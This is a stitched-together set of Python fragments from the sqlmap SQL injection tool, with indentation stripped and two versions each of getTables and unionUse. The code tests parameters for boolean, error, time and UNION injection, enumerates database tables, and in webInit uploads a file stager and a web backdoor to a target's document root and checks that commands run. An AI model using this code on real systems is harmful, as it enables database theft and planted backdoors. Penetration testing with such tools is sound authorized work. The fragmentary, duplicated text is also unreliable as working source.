# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except sqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeInbandQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using the --dbms "
warnMsg += "option"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
if not isinstance(dValue, list):
injection.dbms = Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = "%s%s" % (test.vector, comment or "")
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if conf.beep or conf.realTest:
beep()
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
# There is no need to perform this test with others
# boundaries
break
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except SqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(',')
else:
dbs = self.getDbs()
dbs = [_ for _ in dbs if _ and _.strip()]
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries:
for db, table in kb.brute.tables:
if db == conf.db:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
return tableExists(paths.COMMON_TABLES)
infoMsg = "fetching tables for database"
infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs)))
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
values = []
for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
if not isNoneValue(values) or not query:
break
if condition:
if not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
logger.info(infoMsg)
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
else:
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
if query:
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = [_ for _ in arrayizeValue(values) if _]
if len(values) > 0 and not isListLike(values[0]):
values = [(dbs[0], _) for _ in values]
for db, table in filterPairValues(values):
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(unArrayizeValue(table), True)
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].table_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
singleTimeLogMessage(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
continue
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
continue
tables = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
else:
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].table_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the table names "
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
elif not conf.search:
raise SqlmapNoneDataException(errMsg)
else:
for db, tables in kb.data.cachedTables.items():
kb.data.cachedTables[db] = sorted(tables) if tables else tables
if kb.data.cachedTables:
for db in kb.data.cachedTables:
kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))
return kb.data.cachedTables
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = arrayizeValue(value)
if not kb.data.cachedTables and not conf.direct:
for db in dbs:
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, error=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False, error=False)
tables.append(table)
kb.hintValue = table
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an union SQL injection on the target
url then call its subsidiary function to effectively perform an
union SQL injection on the affected url
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper():
# No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps
